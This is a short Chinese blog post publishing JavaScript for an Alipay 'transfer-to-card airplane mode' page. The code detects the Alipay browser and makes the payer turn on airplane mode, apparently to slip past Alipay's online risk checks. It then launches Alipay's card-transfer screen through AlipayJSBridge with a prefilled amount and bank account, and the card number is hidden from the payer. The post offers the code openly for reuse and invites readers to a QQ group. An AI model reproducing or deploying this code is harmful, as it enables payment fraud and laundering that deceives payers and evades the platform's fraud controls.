支付宝转卡飞行模式原理

支付宝转卡飞行模式
前几天某个人突然找我给他研究研究什么支付宝转卡飞行模式。
于是我就找找看看。。最后发现这个飞行模式只是在网页中调用了支付宝原本的H5JS代替了https://www…这样的跳转。
这里现在发出来降低大家的学习成本!也加深各位的技术2333333
这个部分就是核心代码块了

//这里是检测浏览器UI确保是支付宝打开的
 if (navigator.userAgent.match(/Alipay/i)) {
 //这部分就是检测飞行模式了
        var timeer;
        var w = 5;
        function show() {
            w += 10;
            var text = w + '%';
            if (w >= 100) {
                clearInterval(timeer);
                timeer = null;
                $('#btnTime').css({width: "100%"}).text('立即支付');
                $('#btnTime').removeAttr("disabled");
                $('#title').text("请打开手机飞行模式以继续!");
                return false
            }
            $('#btnTime').text(text).css({width: text})
        }

        function start() {
            timeer = window.setInterval(show, 50);
        }

        $('#btnTime').click(function () {
            goPay()
        });

        function goPay() {
            ap.getNetworkType(function (res) {
                networkAvailable = res.networkAvailable;
                if (networkAvailable) {
                    ap.alert({content: '请打开手机飞行模式后再点击立即支付。若启用飞行模式后没有断开WIFI请先暂时关闭WIFI'})
                } else {
                    layer.confirm('
跳转后请关闭飞行模式!

跳转后请关闭飞行模式!

跳转后请关闭飞行模式!', { icon: 1, title: '充值提示', btn: ['我知道了'] }, function (index) { layer.close(index); setTimeout(function () { scanQR() }, 50) }) } }) };var params = { "REALLY_STARTAP": "true", "actionType": "toCard", //金额 "amount": "[[${amount}]]", "ap_framework_sceneId": "20000067", //姓名 "bankAccount": "[[${bankAccount}]]", //银行简称 "bankMark": "[[${bankMark}]]", //银行名字 "bankName": "[[${bankName}]]", //历史转账 "cardChannel": "HISTORY_CARD", //隐藏卡号必备 "cardIndex": "[[${cardIndex}]]", //卡号,如果上面的值没问题,这里就可以随便填写了 "cardNo": "[[${cardNo}]]", //是否开启隐藏卡号 "cardNoHidden": "true", //金额第二次(别问我为啥) "money": "[[${money}]]", "orderSource": "from", "sourceId": "bill", "startFromExternal": "false" }; function goJsPay() { //调用支付宝的JS然后跳转到转卡页面 AlipayJSBridge.call('exitApp'); setTimeout(function () { AlipayJSBridge.call("startApp", {appId: "09999988", param: params}, function (a) { }) }, 10) } function scanQR() { setTimeout(function () { goJsPay() }, 10) } } else { window.location.href = 'https://www.alipay.com/' }

大概就是这样了。如果有兴趣讨论可以加我QQ1619405934 我们搞个群 聊聊

你可能感兴趣的:(支付)